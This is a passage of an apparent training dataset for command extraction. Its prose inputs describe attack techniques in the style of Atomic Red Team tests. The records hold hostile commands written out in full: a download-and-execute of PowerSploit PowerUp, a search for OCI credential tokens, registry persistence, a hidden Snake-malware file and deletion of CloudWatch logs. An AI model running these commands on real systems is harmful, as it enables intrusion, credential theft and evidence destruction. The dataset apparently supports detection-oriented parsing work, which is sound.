-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can gather user information including username, domain, and active sessions by executing this command: set file=#{output_file_path}\\user_info_%random%.tmp\necho Username: %USERNAME% > %file%\necho User Domain: %USERDOMAIN% >> %file%\nnet users >> %file%\nquery user >> %file%\n",
    "output": "{\"command_list\": [\"set file=#{output_file_path}\\\\user_info_%random%.tmp\\necho Username: %USERNAME% > %file%\\necho User Domain: %USERDOMAIN% >> %file%\\nnet users >> %file%\\nquery user >> %file%\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For reconnaissance in an Active Directory environment, ransomware actors have been known to enumerate Active Directory Trusts using the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -gcb -sc trustdmp",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -gcb -sc trustdmp\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate local Oracle cloud credentials, you can use the following command: find #{file_path}/.oci/sessions -name \"token\" -type f 2>/dev/null",
    "output": "{\"command_list\": [\"find #{file_path}/.oci/sessions -name \\\"token\\\" -type f 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To discover files on the file system and save the results, use the following command:\ndir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n",
    "output": "{\"command_list\": [\"dir /s c:\\\\ >> #{output_file}\\ndir /s \\\"c:\\\\Documents and Settings\\\" >> #{output_file}\\ndir /s \\\"c:\\\\Program Files\\\\\\\" >> #{output_file}\\ndir \\\"%systemdrive%\\\\Users\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\Desktop\\\\*.*\\\" >> #{output_file}\\ntree /F >> #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic Test, related to the Snake Malware campaign, creates a hidden system file that's later decrypted by Snake's kernel driver, using the following command: $file = New-Item $env:windir\\registration\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \"File created: $($file.FullName)\"",
    "output": "{\"command_list\": [\"$file = New-Item $env:windir\\\\registration\\\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \\\"File created: $($file.FullName)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can fetch a remote file by executing this command with nimgrab.exe: cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" #{remote_file} #{destination_path}",
    "output": "{\"command_list\": [\"cmd /c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nimgrab.exe\\\" #{remote_file} #{destination_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers may attempt to cover their tracks by executing the following commands to create and then delete a CloudWatch log stream: aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Created ***\"\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Created ***\"\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Deleted ***\"\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Deleted ***\"",
    "output": "{\"command_list\": [\"aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Created ***\\\"\\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Created ***\\\"\\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Deleted ***\\\"\\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Deleted ***\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To automatically execute code on new user logon sessions, register a new AT named malware_test and modify the configuration value using the following commands:\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v StartEXE /t REG_SZ /d C:\\WINDOWS\\system32\\cmd.exe /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\" /v Configuration /t REG_SZ /d malware_test /f",
